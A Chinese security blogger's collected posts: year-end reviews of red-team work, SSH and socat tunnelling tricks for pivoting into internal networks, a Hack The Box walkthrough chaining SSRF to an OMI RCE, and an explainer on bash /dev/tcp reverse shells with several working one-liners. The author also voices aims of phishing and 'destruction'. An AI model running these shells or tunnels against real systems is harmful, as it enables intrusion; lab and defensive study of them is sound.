Home | NorthShad0w's Blog
正好部门要做内部总结,顺带的把个人的年终总结写了把。
关于工作
今年我顺利毕业了,也找到了正式工作。依然是网络安全领域的攻击者,不过工作的中心不再是攻防演练而是网络犯罪打击。当然,若是公司有演练的需求,我们部门也会顶上的。
- 打下了两个高价值的目标,和一堆杂七杂八的小目标。
- 成功给出去给别人讲了课。
- 对网络犯罪有了更深的认识,这个东西不是技术层面能决定的。
- 调研了自动化信息收集,读了好多收集工具的源码,还尝试了用阿里云云函数来做,后来发现阿里云云函数的网络性能有问题,就放弃了。
- golang开发能力在上述过程中得到了比较大的提高。
- 完善了个人的红队基础设施和其自动部署 c2 扫描器 函数计算代理池 手机号 服务器 入网口等等
- 移动安全算是入了个门。
- 区块链 虚拟币金融 挖矿 也算是入了个门。
- 下半年的学习集中在windows操作系统 c/c++ x86/x64 的逆向。在二进制终端对抗的路上一路狂奔。
关于生活
- 被自己的社交能力之烂震撼到了,从此孤单一个人。
- LOL 两个赛季都靠玩卡莎上了电一的超凡大师。目前大概是电1 150分左右,又卡住了再高感觉有点上不去了。
- 通关了博得之门3,今年除了lol唯一好好享受了的游戏了,我还挺喜欢这类游戏的。
- 发现若饭还挺好吃的挺方便的。
- 学英语有一定的进度,但是没能特别高效。
关于去年的flag
- 移动安全确实入门了。
- rust学是学了,但是用不到,现在估计又忘了,对我这行来说,还是c/c++ 可以抄的东西多,方便一点。
- java,放弃了,感觉会投入产出不成比例。
- 挖windows或者域的漏洞,没有在这方面下功夫了,主要是用不到。
- 提升英语听力和口语有在做,osee的课程官网想报名但是不知道是不是由于我是中国人的缘故,没有销售理我,买不了。
- 逆向破解能力提升比较大,但其实也不是特别大,还是很垃圾呀。
- 自动化挖src,没有去做,主要是我不缺钱。
- 单兵能力提升,这个应该是实打实的有提升,现在的公司没啥共用的攻击产品,都是自己搞,那么就有自己做的攻击武器了。
- 顺利毕业,这个确实顺利毕业了。
关于2024年要做哪些事情
- LOL留在电1超凡大师,或者宗师王者呢,反正现在玩的人越来越少了,不知道能不能实现王者。
- windows linux mac 操作系统的原理和内核,主要是终端对抗。感觉现在web正面打是越来越靠运气了,得想想别的法子。
- 工程化钓鱼 evilginx ,供应链,盗版软件,seo之类的,而不是im 和邮箱那种玩法。
- 成为c/c++/golang 高手。
- 发现了ctf和靶场没有意义,玩玩可以,最终还是要解决现实问题。
目前的想法还是做攻击,做破坏,做别人不让你做的事情。
hack the planet.
今年做了
-
从3月31号开始每天都有写日记,记录自己的进步,希望能保持
-
年初拿下了osep,年末获得了osed,也就现在是osce3了,web二进制内网都算入了门,初步算一个全能黑客了(?还差安卓,ios,iot,区块链,人工智能方向,希望2023年能都入个门)。
说起来osed还有一段插曲,offsec在我一开始考完后不知道为什么抽风认定我作弊,检查了两个月最终认定我没有问题,给我发了证书
-
沉迷lol,电一终于把一个号从零打到了钻一,也把自己的大号打到了钻4(补分太恶心了),也算圆梦了,希望2023年能上个超凡大师~~!
-
学了那么多次,总算学会了rust,能磕磕绊绊写点能用的东西了,函数式编程真的好酷啊。
-
学haskell的flag最终还是没能完成,就这样吧,rust已经让我头大了。
-
找到了工作,真正参与了好多次攻防演练的进攻方,包括一年一度的全国演练,我的评价是真好玩。
-
试了好多发行版,最终选择了fedora,不出意外会一直用下去。
-
研究了一段时间的反沙箱/虚拟机和反反沙箱/虚拟机,最终的成果(结论)是使用修改后(patch字符串和vmexit)重新编译的qemu/kvm 配合smbios参数让软件无法检测。(其实最初的目的是为了在虚拟机里面打游戏)
-
完成了一部分的红队设施自动部署,terraform!
-
养了微信和脉脉。被我偷照片的台妹,对不起!
-
打了好多台htb,作为日常消遣还不错。
-
学了一段时间的易语言逆向破解,能够破解市面上部分易语言+vmp的外挂了!
2023年的flag
- 希望能在移动安全方面入个门
- 熟练使用rust
- 希望能学会快速调试java的比较复杂的产品和漏洞,就不指望挖漏洞了,会用现成的就行。
- 希望能挖一个windows或者域的漏洞,目前主要精力也在这里。
- 提升英语听力和口语,2023年想去拉斯维加斯blackhat参与offsec的windows内核exp编写的培训,然后考出osee,估计比较难实现
- 提升自己逆向破解的能力,主要这方向也很好玩。
- 自动化挖src,躺着收钱。
- 让自己的单兵作战能力提升,脱离公司做出自己的工程化的侦查和免杀工具。
- 希望能顺利毕业。
相比直接端口转发或者-D socks5 的一些其他利用
利用ssh配置tap网卡
优势
工作在数据链路层,能代理arp协议,dhcp协议,icmp协议。内网里利用LLMNR、NBT-NS、WPAD之类的trick都能用了。
劣势
在网络条件不佳的情况下数据包常常会有损坏,一般在目标内网里面用比较好。
使用限制
目标机器上的root权限
目标机器内网网段交换机允许未知mac入网
具体流程
- 编辑目标机器的
/etc/sshd_config
,设置PermitTunnel yes
,重启服务
- 攻击机执行
sudo ssh -o Tunnel=ethernet -w 0:0 root@192.168.1.100
- 在目标服务器上依次运行
ip link add br0 type bridge # 添加桥接网卡
ip link set ens160 master br0 # 目标更深一步内网的网卡名ens160
ip link set tap0 master br0 # tap网卡
ip link set tap0 up # 开启tap网卡
- 在攻击机上运行
ip link set tap0 up # 开启tap网卡
- 在目标服务器上运行
ip link set br0 up # 开启桥接网卡
- (可选)配置攻击机的dns服务器的地址为目标服务器的dns地址
修补手段
关闭sshd 服务端 PermitTunnel 配置并重启
交换机配置不允许未知mac入网
极端环境下的socks隧道
情景
只能ssh进入,所有出网都被封锁,ssh是低权限
目标sshd服务有配置permitTunnel gatewayports allowTcpForwarding
全部关闭,端口转发,-D socks隧道全部不能用。
具体流程
-
提前准备好socat可执行文件,目标机器上一份(可以scp传上去),本地一份
-
创建一个脚本tunnel.sh
ssh victim@192.168.1.100 "./socat TCP-LISTEN:9001,reuseaddr STDIO"
-
攻击机运行socat TCP:localhost:22 EXEC:./tunnel.sh
-
此时相当于绕过sshd限制做了一个正向的远程端口映射
-
进入受害者ssh内,运行ssh -R 1080 -p 9001 attacker@127.0.0.1
做一个经过代理的远程动态socks5
此时攻击者会开放本地1080端口,通过这个socks5能访问受害者的内网,绕过sshd的防御限制。
修补手段
编辑/etc/ssh_config 关闭客户端的端口转发
好久没有在博客上发文章了,暑假忙着考OSWE一直没有写东西,上个月抽空给博客换了个主题,加了一个工具页,顺便把以前的低质量水文都清除掉了,这篇文章记录一下这两天在做的一道很有意思的HTB机器。
主要策略
重定向特定请求,构造Gopher包SSRF_2_RCE
有关技巧
识别SSRF点,构造恶意TLS服务重定向请求,iptables过滤重定向指定包
Recon
常规RECON略过不提,22,80端口,ubuntu 20.04, 访问80端口提示需要HOST头,修改HOSTS文件加上,再次访问,一个简易的网站:
告诉我们这个网站是用来查找Jarm Hash的,我之前从来没听说过这玩意,放狗找了下大概是用hash来构造一个TLS服务的数据库,快速鉴别恶意服务。
对几个用户输入点一顿FUZZ,啥结果没有。
尝试暴力FUZZ子域名,啥也没有。
尝试对网页路径进行爆破,爆出一个docs路径,是api接口的手册
第三个接口很有意思,具备发起请求的能力,马上本地起一个TLS服务试一试,注意这里说will grab metadata,是之后SSRF的关键
收到回复,第一时间想到ssrf,于是测试127.0.0.1,这里我中招了浪费的好久时间,127.0.0.1等一系列都被过滤的很好,只有localhost能用
先用这个SSRF点对本地端口进行扫描
22,80 已知,新出现了5986和8001.因为80的端口是nginx反向代理,所以估计8001是本地监听的http服务,八成就是要打5986端口上的服务,然而5985,5986一般是windows的winrm服务,之前已知这台机器是Ubuntu,很奇怪,一开始以为是虚拟机,放狗找不到说SSRF能打winRM的,后来看到一篇文章,5986端口在Linux上有可能是OMI服务,有个CVE-2021-38647( OMIGod)能RCE,POC是简单HTTP POST请求,估计就是它了。这个服务5985和5986一般是成对存在的,我手动测5985也是活得,工具没有显示出来应该是timeout10秒设置太短了
exploit
然而,我们能控制服务发起一个请求,却无法控制请求的内容,这种SSRF一般都要用到重定向,然而我之前起的nc ssl服务,并没有看到能重定向的请求,这时前面说的会对恶意服务,抓元数据就是一个很明显的提示了,首先要先知道这个服务数据库里面存着那些恶意服务
for i in $(seq 0 222); do curl http://jarmis.htb/api/v1/search/id/$i>> jarms.json;done
先把数据下载下来,然后用jq分析
cat jarms.json| jq | less
cat jarms.json | jq '. | select(.ismalicious==true)' | less
cat jarms.json | jq -c '. | select(.ismalicious==true) | [.id, .note]'
起一个其中的metasploit看看是怎么抓元数据的,同时,起一个wireshark抓包
这里又遇到一个恶心的点,我的handler的jarmhash和数据库里的对不上,一直抓不到抓元数据的包,本来直接用http_basic.rb模块应该是很方便的。
没办法,只能换ncat
测试出只要jarm匹配,他就会发一个包去抓元数据,因此,重定向这个包来做SSRF。
可是因为用不了msf,筛选包的任务就落到别的程序上了,还好,iptables有这个功能。
翻了翻man page 构造出下列命令
sudo iptables -I PREROUTING -t nat -p tcp --dport 443 -m statistic --mode nth --every 11 --packet 10 -j REDIRECT --to-port 8443
把发往我机器443端口的包,每11个包一组,在路由前,每匹配到10个包,就开始重定向到8443端口,也就刚好重定向第11个包。
$nc --ssl -lnp 8443
GET / HTTP/1.1
Host: 10.10.14.6
User-Agent: curl/7.74.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
收到请求
接下来就常规了,这个包是https的,所以为了方便,我起了个Flask
```python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(name)
众所周知,把shell的输入输出重定向到在我们监听下的端口处,就可以作为反弹shell用。
bash有个tcp的特性,用来进行网络重定向很方便,而且bash在现在的linux环境下基本是默认都有的,所以bash反弹shell也很常用。
但是好像讲反弹shell原理的都讲得不是很好。
我就把我的理解写一下。
从文件描述子开始
exec 5<>/dev/tcp/xx.xx.xx.xx/xxxx
bash下运行上述命令创建文件描述子5打开后述tcp流。
然后如果我们在反弹回来的端口上输入,在创建描述子的窗口进行cat <&5
或者cat 0<&5
。
即:将5流的信息重定向到当前窗口的0流输入cat命令。
结果会是返回我们在端口处输入的值,cat命令干的就是0->1的活。
这时,要做的就是将这个流当作命令执行,并将执行后的1号流和2号流重定向到我们之前建立的5号流上(本质是一样的)。有人会问,重定向到我们之前的/dev/tcp/上行不行呢?可以,但是不够优雅,exec建立的文件描述子相当于打开文件,我们应该把结果发送到我们之前打开的文件上,这样比较像一个shell,如果结果返回的时候仍然用/dev/tcp我们应该再开一个nc监听,监听返回流,这属实不够优雅。
执行命令并返回结果的方法就有很多了,只要将结果返回我们的流,就类似于一个反弹shell了。
比如:
cat <&5 | while read line; do $line 2>&5 >&5; done
方法应该是特别多
关于常用的bash反弹命令
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
很多人的解释我感觉都不对,其实最好理解的是要明白0、1、2只是被定义成输入输出错误罢了,本质上他们还是文件描述子,那就是双向的。
其实无论怎么样,只要把012这三条路都连到tcp上就行了,因为描述子是双向的,tcp是双向状态的,所以只要把三条路都连过去就可以了.
比如说这种:
bash -i > /dev/tcp/localhost/4444 0>&1 2>&1
如果按照所谓的重定向来理解,根本是看不懂的,但实际上,这就是把012三个流都连到tcp上,用起来是完全没有问题的,因为是tcp是有状态双向的,文件流也是双向的。用起来是完全没有问题的,不行可以自己搭建试一试。
把上面的符号换一换也是一样:
bash -i < /dev/tcp/localhost/4444 1<&0 2<&0
用起来也是很好用,完全没有什么影响。
这可以随便写,只要三个流都和到一起就可以了。
exec 5<>/dev/tcp/127.0.0.1/4444;bash -i 0<&5 1>&5 2>&5
上面这种新的反弹shell,明白了原理就随便写了。
2022-06-30
web就是源码游戏,感觉社会工程才算渗透。
2022-07-12
今天被沈沉舟微博拉黑了,记录下。
2022-10-26
- 技术只有熟练和生疏的区别。
- 因为没有标准答案,把一件事情做到大家都满意真的很难。
2022-11-04
写玩具的时候不要总是想着代码搞的多少漂亮,架构做的多么有可维护性,好多东西就是垃圾,真的好用自然回去重构,也只有真正明白了才能做好架构,先把功能实现是最重要的。
2022-12-03
感觉,现代的web程序,黑盒下比较容易出的是开源的一些涉及复杂操作的三方库因为没落实DevOps,会有ssrf或者任意文件读。
程序本身,iDOR是最容易出现的。
2023-03-28
唯心主义是人生意义的解。物质本身没有意义,一直纯理性就会陷入虚无。
2023-05-28
大学都要毕业了,还会做高中数学考砸了的噩梦而惊醒,真离谱。
2023-07-15
我想要变强,变得更强,但到底什么是更强呢?
我的职业生涯最终会走向那里,也不要想最终了,三年后我会在干什么?
我希望一年后我能回答这个问题。
2023-07-25
在国内的互联网环境下玩,找乐子,没法做到身份匿名的,关键是要身份隔离.什么身份干什么事